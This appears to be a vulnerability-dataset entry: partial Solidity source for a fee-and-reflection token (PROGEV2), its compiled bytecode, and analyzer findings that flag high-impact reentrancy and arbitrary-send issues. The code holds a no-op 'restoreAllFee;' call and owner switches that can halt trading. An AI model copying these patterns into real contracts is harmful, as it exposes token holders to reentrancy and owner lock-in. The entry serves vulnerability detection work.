emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract PROGEV2 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ERC20"; string private constant _symbol = "erc20"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _progeBurned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _presa; address payable private _rogeTreasury; address public ROGE = 0x45734927Fa2f616FbE19E65f42A0ef3d37d1c80A; address public animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool public tradeAllowed = false; bool private liquidityAdded = false; bool private inSwap = false; bool public swapEnabled = false; bool private feeEnabled = false; bool private limitTX = false; uint256 private _maxTxAmount = _tTotal; uint256 private _reflection = 2; uint256 private _contractFee = 9; uint256 private _progeBurn = 1; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _presa = addr1; _rogeTreasury = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_presa] = true; _isExcludedFromFee[_rogeTreasury] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setFeeEnabled( bool enable) public onlyOwner { feeEnabled = enable; } function setLimitTx( bool enable) public onlyOwner { limitTX = enable; } function enableTrading( bool enable) public onlyOwner { require(liquidityAdded); tradeAllowed = enable; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; liquidityAdded = true; feeEnabled = true; limitTX = true; _maxTxAmount = 1000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualSwapTokensForEth() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualDistributeETH() external onlyOwner() { uint256 contractETHBalance = address(this).balance; distributeETH(contractETHBalance); } function manualRoge(uint amount) external onlyOwner() { swapETHforRoge(amount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradeAllowed); if (limitTX) { require(amount <= _maxTxAmount); } _contractFee = 9; _reflection = 2; _progeBurn = 1; uint contractETHBalance = address(this).balance; if (contractETHBalance > 0) { swapETHforRoge(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(tradeAllowed); if (limitTX) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); } uint initialETHBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint newETHBalance = address(this).balance; uint ethToDistribute = newETHBalance.sub(initialETHBalance); if (ethToDistribute > 0) { distributeETH(ethToDistribute); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function removeAllFee() private { if (_reflection == 0 && _contractFee == 0 && _progeBurn == 0) return; _reflection = 0; _contractFee = 0; _progeBurn = 0; } function restoreAllFee() private { _reflection = 2; _contractFee = 9; _progeBurn = 1; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { (uint256 tAmount, uint256 tBurn) = _progeEthBurn(amount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _progeEthBurn(uint amount) private returns (uint, uint) { uint orgAmount = amount; uint256 currentRate = _getRate(); uint256 tBurn = amount.mul(_progeBurn).div(100); uint256 rBurn = tBurn.mul(currentRate); _tTotal = _tTotal.sub(tBurn); _rTotal = _rTotal.sub(rBurn); _progeBurned = _progeBurned.add(tBurn); return (orgAmount, tBurn); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function swapETHforRoge(uint ethAmount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(ROGE); _approve(address(this), address(uniswapV2Router), ethAmount); uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(animalSanctuary),block.timestamp); } function distributeETH(uint256 amount) private { _presa.transfer(amount.div(8)); _rogeTreasury.transfer(amount.div(4)); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a2b174121161008a578063dd62ed3e11610064578063dd62ed3e146104d5578063e8078d9414610510578063f275f64b14610525578063f89ff9021461055157610171565b8063a2b174121461045d578063a9059cbb14610472578063d543dbeb146104ab57610171565b806370a08231146103aa578063715018a6146103dd5780637a32bae4146103f25780637b934dcd146104075780638da5cb5b1461043357806395d89b411461044857610171565b8063313ce56711610123578063313ce5671461031657806332976a251461034157806349abb68e1461035657806349bd5a5e1461036b5780636a66e9e3146103805780636ddd17131461039557610171565b806306fdde0314610176578063095ea7b3146102005780630db474fa1461024d57806310336de01461027b57806318160ddd146102ac57806323b872dd146102d357610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61057b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020c57600080fd5b506102396004803603604081101561022357600080fd5b506001600160a01b03813516906020013561059a565b604080519115158252519081900360200190f35b34801561025957600080fd5b506102796004803603602081101561027057600080fd5b503515156105b8565b005b34801561028757600080fd5b5061029061062e565b604080516001600160a01b039092168252519081900360200190f35b3480156102b857600080fd5b506102c161063d565b60408051918252519081900360200190f35b3480156102df57600080fd5b50610239600480360360608110156102f657600080fd5b506001600160a01b03813581169160208101359091169060400135610643565b34801561032257600080fd5b5061032b6106ca565b6040805160ff9092168252519081900360200190f35b34801561034d57600080fd5b506102c16106cf565b34801561036257600080fd5b506102906106d5565b34801561037757600080fd5b506102906106e4565b34801561038c57600080fd5b506102796106f3565b3480156103a157600080fd5b50610239610758565b3480156103b657600080fd5b506102c1600480360360208110156103cd57600080fd5b50356001600160a01b0316610768565b3480156103e957600080fd5b5061027961078a565b3480156103fe57600080fd5b5061023961082c565b34801561041357600080fd5b506102796004803603602081101561042a57600080fd5b5035151561083c565b34801561043f57600080fd5b506102906108b2565b34801561045457600080fd5b5061018b6108c1565b34801561046957600080fd5b506102796108e0565b34801561047e57600080fd5b506102396004803603604081101561049557600080fd5b506001600160a01b03813516906020013561094e565b3480156104b757600080fd5b50610279600480360360208110156104ce57600080fd5b5035610962565b3480156104e157600080fd5b506102c1600480360360408110156104f857600080fd5b506001600160a01b0381358116916020013516610a69565b34801561051c57600080fd5b50610279610a94565b34801561053157600080fd5b506102796004803603602081101561054857600080fd5b50351515610e34565b34801561055d57600080fd5b506102796004803603602081101561057457600080fd5b5035610ec0565b604080518082019091526005815264045524332360dc1b602082015290565b60006105ae6105a7610f21565b8484610f25565b5060015b92915050565b6105c0610f21565b6000546001600160a01b03908116911614610610576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600f8054911515600160c01b0260ff60c01b19909216919091179055565b600c546001600160a01b031681565b60045490565b6000610650848484611011565b6106c08461065c610f21565b6106bb85604051806060016040528060288152602001611e23602891396001600160a01b038a1660009081526008602052604081209061069a610f21565b6001600160a01b031681526020810191909152604001600020549190611329565b610f25565b5060019392505050565b600990565b60075481565b600d546001600160a01b031681565b600f546001600160a01b031681565b6106fb610f21565b6000546001600160a01b0390811691161461074b576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b47610755816113c0565b50565b600f54600160b81b900460ff1681565b6001600160a01b0381166000908152600260205260408120546105b290611449565b610792610f21565b6000546001600160a01b039081169116146107e2576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f54600160a01b900460ff1681565b610844610f21565b6000546001600160a01b03908116911614610894576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600f8054911515600160c81b0260ff60c81b19909216919091179055565b6000546001600160a01b031690565b604080518082019091526005815264065726332360dc1b602082015290565b6108e8610f21565b6000546001600160a01b03908116911614610938576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600061094330610768565b9050610755816114a9565b60006105ae61095b610f21565b8484611011565b61096a610f21565b6000546001600160a01b039081169116146109ba576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b60008111610a0f576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610a2f6064610a298360045461167890919063ffffffff16565b906116d1565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610a9c610f21565b6000546001600160a01b03908116911614610aec576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610b309130916001600160a01b031690610f25565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610be357600080fd5b505afa158015610bf7573d6000803e3d6000fd5b505050506040513d6020811015610c0d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d6020811015610c8957600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610cbb81610768565b600080610cc66108b2565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d3157600080fd5b505af1158015610d45573d6000803e3d6000fd5b50505050506040513d6060811015610d5c57600080fd5b5050600f805460ff60c81b1960ff60c01b1960ff60a81b1960ff60b81b19909316600160b81b1792909216600160a81b1791909116600160c01b1716600160c81b1790819055670de0b6b3a7640000601055600e546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d6020811015610e2f57600080fd5b505050565b610e3c610f21565b6000546001600160a01b03908116911614610e8c576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b600f54600160a81b900460ff16610ea257600080fd5b600f8054911515600160a01b0260ff60a01b19909216919091179055565b610ec8610f21565b6000546001600160a01b03908116911614610f18576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4b833981519152604482015290519081900360640190fd5b61075581611713565b3390565b6001600160a01b038316610f6a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611eb96024913960400191505060405180910390fd5b6001600160a01b038216610faf5760405162461bcd60e51b8152600401808060200182810382526022815260200180611de06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110565760405162461bcd60e51b8152600401808060200182810382526025815260200180611e946025913960400191505060405180910390fd5b6001600160a01b03821661109b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611d936023913960400191505060405180910390fd5b600081116110da5760405162461bcd60e51b8152600401808060200182810382526029815260200180611e6b6029913960400191505060405180910390fd5b6110e26108b2565b6001600160a01b0316836001600160a01b03161415801561111c57506111066108b2565b6001600160a01b0316826001600160a01b031614155b156112b757600f546001600160a01b03848116911614801561114c5750600e546001600160a01b03838116911614155b801561117157506001600160a01b03821660009081526009602052604090205460ff16155b156111ce57600f54600160a01b900460ff1661118c57600080fd5b600f54600160c81b900460ff16156111ad576010548111156111ad57600080fd5b6009601255600260115560016013554780156111cc576111cc47611713565b505b60006111d930610768565b600f54909150600160b01b900460ff161580156112045750600f546001600160a01b03858116911614155b80156112195750600f54600160b81b900460ff165b156112b557600f54600160a01b900460ff1661123457600080fd5b600f54600160c81b900460ff161561128957600f5461126f90606490610a2990600390611269906001600160a01b0316610768565b90611678565b821115801561128057506010548211155b61128957600080fd5b47611293826114a9565b4760006112a082846118cc565b905080156112b1576112b1816113c0565b5050505b505b6001600160a01b03831660009081526009602052604090205460019060ff16806112f957506001600160a01b03831660009081526009602052604090205460ff165b8061130e5750600f54600160c01b900460ff16155b15611317575060005b6113238484848461190e565b50505050565b600081848411156113b85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137d578181015183820152602001611365565b50505050905090810190601f1680156113aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc6113da8360086116d1565b6040518115909202916000818181858888f19350505050158015611402573d6000803e3d6000fd5b50600b546001600160a01b03166108fc61141d8360046116d1565b6040518115909202916000818181858888f19350505050158015611445573d6000803e3d6000fd5b5050565b600060055482111561148c5760405162461bcd60e51b815260040180806020018281038252602a815260200180611db6602a913960400191505060405180910390fd5b600061149661193f565b90506114a283826116d1565b9392505050565b600f805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114eb57fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153f57600080fd5b505afa158015611553573d6000803e3d6000fd5b505050506040513d602081101561156957600080fd5b505181518290600190811061157a57fe5b6001600160a01b039283166020918202929092010152600e546115a09130911684610f25565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561162657818101518382015260200161160e565b505050509050019650505050505050600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b600082611687575060006105b2565b8282028284828161169457fe5b04146114a25760405162461bcd60e51b8152600401808060200182810382526021815260200180611e026021913960400191505060405180910390fd5b60006114a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611962565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561177857600080fd5b505afa15801561178c573d6000803e3d6000fd5b505050506040513d60208110156117a257600080fd5b5051815182906000906117b157fe5b6001600160a01b039283166020918202929092010152600c548251911690829060019081106117dc57fe5b6001600160a01b039283166020918202929092010152600e546118029130911684610f25565b600e54600d5460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b83811015611888578181015183820152602001611870565b50505050905001955050505050506000604051808303818588803b1580156118af57600080fd5b505af11580156118c3573d6000803e3d6000fd5b50505050505050565b60006114a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611329565b8061191b5761191b6119c7565b6119268484846119ff565b8061132357611323600260115560096012556001601355565b600080600061194c611b19565b909250905061195b82826116d1565b9250505090565b600081836119b15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137d578181015183820152602001611365565b5060008385816119bd57fe5b0495945050505050565b6011541580156119d75750601254155b80156119e35750601354155b156119ed576119fd565b6000601181905560128190556013555b565b600080611a0b83611b50565b91509150600080600080600080611a228888611bc9565b955095509550955095509550611a6686600260008e6001600160a01b03166001600160a01b03168152602001908152602001600020546118cc90919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c1681522054611a959086611c28565b6001600160a01b038b16600090815260026020526040902055611ab781611c82565b611ac18483611ccc565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611b2e82826116d1565b821015611b4657600554600454935093505050611b4c565b90925090505b9091565b6000808281611b5d61193f565b90506000611b7b6064610a296013548961167890919063ffffffff16565b90506000611b898284611678565b600454909150611b9990836118cc565b600455600554611ba990826118cc565b600555600754611bb99083611c28565b6007555091935090915050915091565b6000806000806000806000806000611be78b6011546012548d611cf0565b9250925092506000611bf761193f565b90506000806000611c0a8f878787611d42565b919e509c509a50959850939650919450505050509295509295509295565b6000828201838110156114a2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611c8c61193f565b90506000611c9a8383611678565b30600090815260026020526040902054909150611cb79082611c28565b30600090815260026020526040902055505050565b600554611cd990836118cc565b600555600654611ce99082611c28565b6006555050565b6000808080611d046064610a298a8a611678565b90506000611d176064610a298b8a611678565b90506000611d3187611d2b84818e886118cc565b906118cc565b9a9299509097509095505050505050565b6000808080611d518886611678565b90506000611d5f8887611678565b90506000611d6d8888611678565b90506000611d7f82611d2b86866118cc565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200b38b22545e9fec8c327c256c61d55d38510e6e8335ae926e25ca0e3cc47949b64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,399